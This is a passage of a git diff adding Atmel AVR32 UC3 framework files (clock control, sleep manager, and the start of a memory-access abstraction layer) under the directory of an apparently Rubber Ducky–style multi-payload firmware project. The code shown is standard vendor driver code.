*module) +{ + /* Fallthroughs intended for modules sharing the same peripheral bus. */ + switch ((uintptr_t)module) { + case AVR32_INTC_ADDRESS: + case AVR32_GPIO_ADDRESS: + case AVR32_PDCA_ADDRESS: + case AVR32_PM_ADDRESS: + case AVR32_ADC_ADDRESS: + case AVR32_SPI_ADDRESS: + case AVR32_TWI_ADDRESS: + case AVR32_USART0_ADDRESS: + case AVR32_USART1_ADDRESS: + case AVR32_USART2_ADDRESS: + case AVR32_PWM_ADDRESS: +#if defined(AVR32_SSC) + case AVR32_SSC_ADDRESS: +#endif + case AVR32_TC_ADDRESS: +#if defined(AVR32_ABDAC) + case AVR32_ABDAC_ADDRESS: +#endif + return sysclk_get_pba_hz(); + + case AVR32_HMATRIX_ADDRESS: + case AVR32_USBB_ADDRESS: + case AVR32_FLASHC_ADDRESS: + return sysclk_get_pbb_hz(); + + default: + Assert(false); + return 0; + } +} + +//@} + +extern void sysclk_priv_enable_module(unsigned int bus_id, + unsigned int module_index); +extern void sysclk_priv_disable_module(unsigned int bus_id, + unsigned int module_index); + +//! \name Enabling and disabling synchronous clocks +//@{ + +/** + * \brief Enable a module clock derived from the CPU clock + * \param index Index of the module clock in the CPUMASK register + */ +static inline void sysclk_enable_cpu_module(unsigned int index) +{ + sysclk_priv_enable_module(AVR32_PM_CLK_GRP_CPU, index); +} + +/** + * \brief Disable a module clock derived from the CPU clock + * \param index Index of the module clock in the CPUMASK register + */ +static inline void sysclk_disable_cpu_module(unsigned int index) +{ + sysclk_priv_disable_module(AVR32_PM_CLK_GRP_CPU, index); +} + +/** + * \brief Enable a module clock derived from the HSB clock + * \param index Index of the module clock in the HSBMASK register + */ +static inline void sysclk_enable_hsb_module(unsigned int index) +{ + sysclk_priv_enable_module(AVR32_PM_CLK_GRP_HSB, index); +} + +/** + * \brief Disable a module clock derived from the HSB clock + * \param index Index of the module clock in the HSBMASK register + */ +static inline void sysclk_disable_hsb_module(unsigned int index) +{ + sysclk_priv_disable_module(AVR32_PM_CLK_GRP_HSB, index); +} + +/** + * \brief Enable a module clock derived from the PBA clock + * \param index Index of the module clock in the PBAMASK register + */ +static inline void sysclk_enable_pba_module(unsigned int index) +{ + sysclk_priv_enable_module(AVR32_PM_CLK_GRP_PBA, index); +} + +/** + * \brief Disable a module clock derived from the PBA clock + * \param index Index of the module clock in the PBAMASK register + */ +static inline void sysclk_disable_pba_module(unsigned int index) +{ + sysclk_priv_disable_module(AVR32_PM_CLK_GRP_PBA, index); +} + +extern void sysclk_enable_pbb_module(unsigned int index); +extern void sysclk_disable_pbb_module(unsigned int index); + +/** + * \brief Enable a peripheral's clock from its base address. + * + * Enables the clock to a peripheral, given its base address. If the peripheral + * has an associated clock on the HSB bus, this will be enabled also. + * + * \param module Pointer to the module's base address. + */ +static inline void sysclk_enable_peripheral_clock(const volatile void *module) +{ + switch ((uintptr_t)module) { + case AVR32_INTC_ADDRESS: + sysclk_enable_pba_module(SYSCLK_INTC); + break; + + case AVR32_GPIO_ADDRESS: + sysclk_enable_pba_module(SYSCLK_GPIO); + break; + + case AVR32_PDCA_ADDRESS: + sysclk_enable_hsb_module(SYSCLK_PDCA_HSB); + sysclk_enable_pba_module(SYSCLK_PDCA_PB); + break; + + case AVR32_PM_ADDRESS: + sysclk_enable_pba_module(SYSCLK_PM); + break; + + case AVR32_ADC_ADDRESS: + sysclk_enable_pba_module(SYSCLK_ADC); + break; + + case AVR32_SPI_ADDRESS: + sysclk_enable_pba_module(SYSCLK_SPI); + break; + + case AVR32_TWI_ADDRESS: + sysclk_enable_pba_module(SYSCLK_TWI); + break; + + case AVR32_USART0_ADDRESS: + sysclk_enable_pba_module(SYSCLK_USART0); + break; + + case AVR32_USART1_ADDRESS: + sysclk_enable_pba_module(SYSCLK_USART1); + break; + + case AVR32_USART2_ADDRESS: + sysclk_enable_pba_module(SYSCLK_USART2); + break; + + case AVR32_PWM_ADDRESS: + sysclk_enable_pba_module(SYSCLK_PWM); + break; + +#if defined(AVR32_SSC) + case AVR32_SSC_ADDRESS: + sysclk_enable_pba_module(SYSCLK_SSC); + break; +#endif + + case AVR32_TC_ADDRESS: + sysclk_enable_pba_module(SYSCLK_TC); + break; + +#if defined(AVR32_ABDAC) + case AVR32_ABDAC_ADDRESS: + sysclk_enable_pba_module(SYSCLK_DAC); + break; +#endif + + case AVR32_HMATRIX_ADDRESS: + sysclk_enable_pbb_module(SYSCLK_HMATRIX); + break; + + case AVR32_USBB_ADDRESS: + sysclk_enable_hsb_module(SYSCLK_USBB_DATA); + sysclk_enable_pbb_module(SYSCLK_USBB_REGS); + break; + + case AVR32_FLASHC_ADDRESS: + sysclk_enable_hsb_module(SYSCLK_FLASHC_DATA); + sysclk_enable_pbb_module(SYSCLK_FLASHC_REGS); + break; + + default: + Assert(false); + return; + } +} + +/** + * \brief Disable a peripheral's clock from its base address. + * + * Disables the clock to a peripheral, given its base address. If the peripheral + * has an associated clock on the HSB bus, this will be disabled also. + * + * \param module Pointer to the module's base address. + */ +static inline void sysclk_disable_peripheral_clock(const volatile void *module) +{ + switch ((uintptr_t)module) { + case AVR32_INTC_ADDRESS: + sysclk_disable_pba_module(SYSCLK_INTC); + break; + + case AVR32_GPIO_ADDRESS: + sysclk_disable_pba_module(SYSCLK_GPIO); + break; + + case AVR32_PDCA_ADDRESS: + sysclk_disable_hsb_module(SYSCLK_PDCA_HSB); + sysclk_disable_pba_module(SYSCLK_PDCA_PB); + break; + + case AVR32_PM_ADDRESS: + sysclk_disable_pba_module(SYSCLK_PM); + break; + + case AVR32_ADC_ADDRESS: + sysclk_disable_pba_module(SYSCLK_ADC); + break; + + case AVR32_SPI_ADDRESS: + sysclk_disable_pba_module(SYSCLK_SPI); + break; + + case AVR32_TWI_ADDRESS: + sysclk_disable_pba_module(SYSCLK_TWI); + break; + + case AVR32_USART0_ADDRESS: + sysclk_disable_pba_module(SYSCLK_USART0); + break; + + case AVR32_USART1_ADDRESS: + sysclk_disable_pba_module(SYSCLK_USART1); + break; + + case AVR32_USART2_ADDRESS: + sysclk_disable_pba_module(SYSCLK_USART2); + break; + + case AVR32_PWM_ADDRESS: + sysclk_disable_pba_module(SYSCLK_PWM); + break; + +#if defined(AVR32_SSC) + case AVR32_SSC_ADDRESS: + sysclk_disable_pba_module(SYSCLK_SSC); + break; +#endif + + case AVR32_TC_ADDRESS: + sysclk_disable_pba_module(SYSCLK_TC); + break; + +#if defined(AVR32_ABDAC) + case AVR32_ABDAC_ADDRESS: + sysclk_disable_pba_module(SYSCLK_DAC); + break; +#endif + + case AVR32_HMATRIX_ADDRESS: + sysclk_disable_pbb_module(SYSCLK_HMATRIX); + break; + + case AVR32_USBB_ADDRESS: + sysclk_disable_hsb_module(SYSCLK_USBB_DATA); + sysclk_disable_pbb_module(SYSCLK_USBB_REGS); + break; + + case AVR32_FLASHC_ADDRESS: + sysclk_disable_hsb_module(SYSCLK_FLASHC_DATA); + sysclk_disable_pbb_module(SYSCLK_FLASHC_REGS); + break; + + default: + Assert(false); + return; + } +} + +//@} + +//! \name System Clock Source and Prescaler configuration +//@{ + +/** + * \brief Set system clock prescaler configuration + * + * This function will change the system clock prescaler configuration to + * match the parameters. + * + * \note The parameters to this function are device-specific. + * + * \param cpu_shift The CPU clock will be divided by \f$2^{cpu\_shift}\f$ + * \param pba_shift The PBA clock will be divided by \f$2^{pba\_shift}\f$ + * \param pbb_shift The PBB clock will be divided by \f$2^{pbb\_shift}\f$ + */ +static inline void sysclk_set_prescalers(unsigned int cpu_shift, + unsigned int pba_shift, unsigned int pbb_shift) +{ + uint32_t cksel = 0; + + Assert(cpu_shift <= pba_shift); + Assert(cpu_shift <= pbb_shift); + + if (cpu_shift > 0) + cksel = ((cpu_shift - 1) << AVR32_PM_CKSEL_CPUSEL) + | (1U << AVR32_PM_CKSEL_CPUDIV); + + if (pba_shift > 0) + cksel |= ((pba_shift - 1) << AVR32_PM_CKSEL_PBASEL) + | (1U << AVR32_PM_CKSEL_PBADIV); + + if (pbb_shift > 0) + cksel |= ((pbb_shift - 1) << AVR32_PM_CKSEL_PBBSEL) + | (1U << AVR32_PM_CKSEL_PBBDIV); + + AVR32_PM.cksel = cksel; +} + +/** + * \brief Change the source of the main system clock. + * + * \pre The appropriate Flash Wait state must be set previously. + * + * \param src The new system clock source. Must be one of the constants + * from the System Clock Sources section. + */ +static inline void sysclk_set_source(uint_fast8_t src) +{ + uint32_t mcctrl; + irqflags_t flags; + + Assert(src <= SYSCLK_SRC_PLL0); + + flags = cpu_irq_save(); + mcctrl = AVR32_PM.mcctrl & ~AVR32_PM_MCCTRL_MCSEL_MASK; + mcctrl |= src << AVR32_PM_MCCTRL_MCSEL; + AVR32_PM.mcctrl = mcctrl; + cpu_irq_restore(flags); +} + +//@} + +#if defined(CONFIG_USBCLK_SOURCE) || defined(__DOXYGEN__) + +/** + * \def USBCLK_STARTUP_TIMEOUT + * \brief Number of us to wait for USB clock to start + */ +#if CONFIG_USBCLK_SOURCE==USBCLK_SRC_OSC0 +# define USBCLK_STARTUP_TIMEOUT (OSC0_STARTUP_TIMEOUT*(1000000/AVR32_PM_RCOSC_FREQUENCY)) +#elif CONFIG_USBCLK_SOURCE==USBCLK_SRC_PLL0 +# if CONFIG_PLL0_SOURCE==PLL_SRC_OSC0 +# define USBCLK_STARTUP_TIMEOUT (OSC0_STARTUP_TIMEOUT*(1000000/AVR32_PM_RCOSC_FREQUENCY)) +# elif CONFIG_PLL0_SOURCE==PLL_SRC_OSC1 +# define USBCLK_STARTUP_TIMEOUT (OSC1_STARTUP_TIMEOUT*(1000000/AVR32_PM_RCOSC_FREQUENCY)) +# else +# error Unknown value for CONFIG_PLL0_SOURCE, see conf_clock.h. +# endif +#elif CONFIG_USBCLK_SOURCE==USBCLK_SRC_PLL1 +# if CONFIG_PLL1_SOURCE==PLL_SRC_OSC0 +# define USBCLK_STARTUP_TIMEOUT (OSC0_STARTUP_TIMEOUT*(1000000/AVR32_PM_RCOSC_FREQUENCY)) +# elif CONFIG_PLL1_SOURCE==PLL_SRC_OSC1 +# define USBCLK_STARTUP_TIMEOUT (OSC1_STARTUP_TIMEOUT*(1000000/AVR32_PM_RCOSC_FREQUENCY)) +# else +# error Unknown value for CONFIG_PLL1_SOURCE, see conf_clock.h. +# endif +#else +# error Unknown value for CONFIG_USBCLK_SOURCE, see conf_clock.h. +#endif + +extern void sysclk_enable_usb(void); +extern void sysclk_disable_usb(void); +#endif + +extern void sysclk_init(void); + +#endif /* !__ASSEMBLY__ */ + +//! @} + +#ifdef __cplusplus +} +#endif + +#endif /* CHIP_SYSCLK_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/sleepmgr/sleepmgr.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/sleepmgr/sleepmgr.h new file mode 100644 index 0000000..01b9c1b --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/sleepmgr/sleepmgr.h @@ -0,0 +1,181 @@ +/** + * \file + * + * \brief Sleep manager + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef SLEEPMGR_H +#define SLEEPMGR_H + +#include +#include +#include + +#if defined(XMEGA) +# include "xmega/sleepmgr.h" +#elif (defined(__GNUC__) && defined(__AVR32__)) || (defined(__ICCAVR32__) || defined(__AAVR32__)) +# include "uc3/sleepmgr.h" +#else +# error Unsupported device. +#endif + +/** + * \defgroup sleepmgr_group Sleep manager + * + * The sleep manager is a service for ensuring that the device is not put to + * sleep in deeper sleep modes than the system (e.g., peripheral drivers, + * services or the application) allows at any given time. + * + * It is based on the use of lock counting for the individual sleep modes, and + * will put the device to sleep in the shallowest sleep mode that has a non-zero + * lock count. The drivers/services/application can change these counts by use + * of \ref sleepmgr_lock_mode and \ref sleepmgr_unlock_mode. + * Refer to \ref sleepmgr_mode for a list of the sleep modes available for + * locking, and the device datasheet for information on their effect. + * + * The application must supply the file \ref conf_sleepmgr.h. + * + * For the sleep manager to be enabled, the symbol \ref CONFIG_SLEEPMGR_ENABLE + * must be defined, e.g., in \ref conf_sleepmgr.h. If this symbol is not + * defined, the functions are replaced with dummy functions and no RAM is used. + * + * @{ + */ + +/** + * \def CONFIG_SLEEPMGR_ENABLE + * \brief Configuration symbol for enabling the sleep manager + * + * If this symbol is not defined, the functions of this service are replaced + * with dummy functions. This is useful for reducing code size and execution + * time if the sleep manager is not needed in the application. + * + * This symbol may be defined in \ref conf_sleepmgr.h. + */ +#if defined(__DOXYGEN__) && !defined(CONFIG_SLEEPMGR_ENABLE) +# define CONFIG_SLEEPMGR_ENABLE +#endif + +/** + * \enum sleepmgr_mode + * \brief Sleep mode locks + * + * Identifiers for the different sleep mode locks. + */ + +/** + * \brief Initialize the lock counts + * + * Sets all lock counts to 0, except the very last one, which is set to 1. This + * is done to simplify the algorithm for finding the deepest allowable sleep + * mode in \ref sleepmgr_enter_sleep. + */ +static inline void sleepmgr_init(void) +{ +#ifdef CONFIG_SLEEPMGR_ENABLE + uint8_t i; + + for (i = 0; i < SLEEPMGR_NR_OF_MODES - 1; i++) { + sleepmgr_locks[i] = 0; + } + sleepmgr_locks[SLEEPMGR_NR_OF_MODES - 1] = 1; +#endif /* CONFIG_SLEEPMGR_ENABLE */ +} + +/** + * \brief Increase lock count for a sleep mode + * + * Increases the lock count for \a mode to ensure that the sleep manager does + * not put the device to sleep in the deeper sleep modes. + * + * \param mode Sleep mode to lock. + */ +static inline void sleepmgr_lock_mode(enum sleepmgr_mode mode) +{ +#ifdef CONFIG_SLEEPMGR_ENABLE + irqflags_t flags; + + Assert(sleepmgr_locks[mode] < 0xff); + + // Enter a critical section + flags = cpu_irq_save(); + + ++sleepmgr_locks[mode]; + + // Leave the critical section + cpu_irq_restore(flags); +#endif /* CONFIG_SLEEPMGR_ENABLE */ +} + +/** + * \brief Decrease lock count for a sleep mode + * + * Decreases the lock count for \a mode. If the lock count reaches 0, the sleep + * manager can put the device to sleep in the deeper sleep modes. + * + * \param mode Sleep mode to unlock. + */ +static inline void sleepmgr_unlock_mode(enum sleepmgr_mode mode) +{ +#ifdef CONFIG_SLEEPMGR_ENABLE + irqflags_t flags; + + Assert(sleepmgr_locks[mode]); + + // Enter a critical section + flags = cpu_irq_save(); + + --sleepmgr_locks[mode]; + + // Leave the critical section + cpu_irq_restore(flags); +#endif /* CONFIG_SLEEPMGR_ENABLE */ +} + +/** + * \fn sleepmgr_enter_sleep + * \brief Go to sleep in the deepest allowed mode + * + * Searches through the sleep mode lock counts, starting at the shallowest sleep + * mode, until the first non-zero lock count is found. The device is then put to + * sleep in the sleep mode that corresponds to the lock. + * + * \note This function enables interrupts before going to sleep, and will leave + * them enabled upon return. This also applies if sleep is skipped due to ACTIVE + * mode being locked. + */ + +//! @} + +#endif /* SLEEPMGR_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/sleepmgr/uc3/sleepmgr.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/sleepmgr/uc3/sleepmgr.c new file mode 100644 index 0000000..31626c4 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/sleepmgr/uc3/sleepmgr.c @@ -0,0 +1,45 @@ +/** + * \file + * + * \brief AVR UC3 Sleep manager implementation + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#include +#include + +#if defined(CONFIG_SLEEPMGR_ENABLE) || defined(__DOXYGEN__) + +uint8_t sleepmgr_locks[SLEEPMGR_NR_OF_MODES]; + +#endif /* CONFIG_SLEEPMGR_ENABLE */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/sleepmgr/uc3/sleepmgr.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/sleepmgr/uc3/sleepmgr.h new file mode 100644 index 0000000..8652592 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/sleepmgr/uc3/sleepmgr.h @@ -0,0 +1,123 @@ +/** + * \file + * + * \brief AVR UC3 Sleep manager implementation + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef UC3_SLEEPMGR_H +#define UC3_SLEEPMGR_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include + +/** + * \weakgroup sleepmgr_group + * @{ + */ + +enum sleepmgr_mode { + //! Active mode. + SLEEPMGR_ACTIVE, + //! Idle mode. + SLEEPMGR_IDLE, + //! Frozen mode. + SLEEPMGR_FROZEN, + //! Standby mode. + SLEEPMGR_STDBY, + //! Stop mode. + SLEEPMGR_STOP, + //! Deep Stop mode. + SLEEPMGR_DEEPSTOP, + //! Static mode. + SLEEPMGR_STATIC, +#if UC3L + //! Shutdown mode. + SLEEPMGR_SHUTDOWN, +#endif + SLEEPMGR_NR_OF_MODES, +}; + +/** + * \internal + * \name Internal arrays + * @{ + */ +#if defined(CONFIG_SLEEPMGR_ENABLE) || defined(__DOXYGEN__) +//! Sleep mode lock counters +extern uint8_t sleepmgr_locks[]; +#endif /* CONFIG_SLEEPMGR_ENABLE */ +//! @} + +static inline void sleepmgr_enter_sleep(void) +{ +#ifdef CONFIG_SLEEPMGR_ENABLE + int sleep_mode = -1; // -1 representing the ACTIVE mode + uint8_t *lock_ptr = sleepmgr_locks; + + cpu_irq_disable(); + + // Find first non-zero lock count, starting with the shallowest modes. + while(!(*lock_ptr++)) { + sleep_mode++; + } + // Catch the case where one too many sleepmgr_unlock_mode() call has been + // performed on the deepest sleep mode. + Assert((uintptr_t)(lock_ptr - sleepmgr_locks) < SLEEPMGR_NR_OF_MODES); + + if(sleep_mode >= AVR32_PM_SMODE_IDLE) { + // Atomically enable the global interrupts and enter the sleep mode. + pm_sleep(AVR32_PM_SMODE_GMCLEAR_MASK | sleep_mode); + } + else { + // Case where the ACTIVE mode is locked (i.e. no sleep mode allowed). + // Enable the interrupts to have the same behavior in all cases. + cpu_irq_enable(); + } +#else + cpu_irq_enable(); +#endif /* CONFIG_SLEEPMGR_ENABLE */ +} + +//! @} + +#ifdef __cplusplus +} +#endif + +#endif /* UC3_SLEEPMGR_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/storage/ctrl_access/ctrl_access.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/storage/ctrl_access/ctrl_access.c new file mode 100644 index 0000000..27c1446 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/storage/ctrl_access/ctrl_access.c @@ -0,0 +1,569 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Abstraction layer for memory interfaces. + * + * This module contains the interfaces: + * - MEM <-> USB; + * - MEM <-> RAM; + * - MEM <-> MEM. + * + * This module may be configured and expanded to support the following features: + * - write-protected globals; + * - password-protected data; + * - specific features; + * - etc. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +//_____ I N C L U D E S ____________________________________________________ + +#include "compiler.h" +#include "preprocessor.h" +#ifdef FREERTOS_USED +#include "FreeRTOS.h" +#include "semphr.h" +#endif +#include "ctrl_access.h" + + +//_____ D E F I N I T I O N S ______________________________________________ + +#ifdef FREERTOS_USED + +/*! \name LUN Access Protection Macros + */ +//! @{ + +/*! \brief Locks accesses to LUNs. + * + * \return \c true if the access was successfully locked, else \c false. + */ +#define Ctrl_access_lock() ctrl_access_lock() + +/*! \brief Unlocks accesses to LUNs. + */ +#define Ctrl_access_unlock() xSemaphoreGive(ctrl_access_semphr) + +//! @} + +//! Handle to the semaphore protecting accesses to LUNs. +static xSemaphoreHandle ctrl_access_semphr = NULL; + +#else + +/*! \name LUN Access Protection Macros + */ +//! @{ + +/*! \brief Locks accesses to LUNs. + * + * \return \c true if the access was successfully locked, else \c false. + */ +#define Ctrl_access_lock() true + +/*! \brief Unlocks accesses to LUNs. + */ +#define Ctrl_access_unlock() + +//! @} + +#endif // FREERTOS_USED + + +#if MAX_LUN + +/*! \brief Initializes an entry of the LUN descriptor table. + * + * \param lun Logical Unit Number. + * + * \return LUN descriptor table entry initializer. + */ +#if ACCESS_USB == ENABLED && ACCESS_MEM_TO_RAM == ENABLED +#define Lun_desc_entry(lun) \ + {\ + TPASTE3(Lun_, lun, _test_unit_ready),\ + TPASTE3(Lun_, lun, _read_capacity),\ + TPASTE3(Lun_, lun, _wr_protect),\ + TPASTE3(Lun_, lun, _removal),\ + TPASTE3(Lun_, lun, _usb_read_10),\ + TPASTE3(Lun_, lun, _usb_write_10),\ + TPASTE3(Lun_, lun, _mem_2_ram),\ + TPASTE3(Lun_, lun, _ram_2_mem),\ + TPASTE3(LUN_, lun, _NAME)\ + } +#elif ACCESS_USB == ENABLED +#define Lun_desc_entry(lun) \ + {\ + TPASTE3(Lun_, lun, _test_unit_ready),\ + TPASTE3(Lun_, lun, _read_capacity),\ + TPASTE3(Lun_, lun, _wr_protect),\ + TPASTE3(Lun_, lun, _removal),\ + TPASTE3(Lun_, lun, _usb_read_10),\ + TPASTE3(Lun_, lun, _usb_write_10),\ + TPASTE3(LUN_, lun, _NAME)\ + } +#elif ACCESS_MEM_TO_RAM == ENABLED +#define Lun_desc_entry(lun) \ + {\ + TPASTE3(Lun_, lun, _test_unit_ready),\ + TPASTE3(Lun_, lun, _read_capacity),\ + TPASTE3(Lun_, lun, _wr_protect),\ + TPASTE3(Lun_, lun, _removal),\ + TPASTE3(Lun_, lun, _mem_2_ram),\ + TPASTE3(Lun_, lun, _ram_2_mem),\ + TPASTE3(LUN_, lun, _NAME)\ + } +#else +#define Lun_desc_entry(lun) \ + {\ + TPASTE3(Lun_, lun, _test_unit_ready),\ + TPASTE3(Lun_, lun, _read_capacity),\ + TPASTE3(Lun_, lun, _wr_protect),\ + TPASTE3(Lun_, lun, _removal),\ + TPASTE3(LUN_, lun, _NAME)\ + } +#endif + +//! LUN descriptor table. +static const struct +{ + Ctrl_status (*test_unit_ready)(void); + Ctrl_status (*read_capacity)(U32 *); + Bool (*wr_protect)(void); + Bool (*removal)(void); +#if ACCESS_USB == ENABLED + Ctrl_status (*usb_read_10)(U32, U16); + Ctrl_status (*usb_write_10)(U32, U16); +#endif +#if ACCESS_MEM_TO_RAM == ENABLED + Ctrl_status (*mem_2_ram)(U32, void *); + Ctrl_status (*ram_2_mem)(U32, const void *); +#endif + const char *name; +} lun_desc[MAX_LUN] = +{ +#if LUN_0 == ENABLE + Lun_desc_entry(0), +#endif +#if LUN_1 == ENABLE + Lun_desc_entry(1), +#endif +#if LUN_2 == ENABLE + Lun_desc_entry(2), +#endif +#if LUN_3 == ENABLE + Lun_desc_entry(3), +#endif +#if LUN_4 == ENABLE + Lun_desc_entry(4), +#endif +#if LUN_5 == ENABLE + Lun_desc_entry(5), +#endif +#if LUN_6 == ENABLE + Lun_desc_entry(6), +#endif +#if LUN_7 == ENABLE + Lun_desc_entry(7) +#endif +}; + +#endif + + +#if GLOBAL_WR_PROTECT == ENABLED +Bool g_wr_protect; +#endif + + +/*! \name Control Interface + */ +//! @{ + + +#ifdef FREERTOS_USED + +Bool ctrl_access_init(void) +{ + // If the handle to the protecting 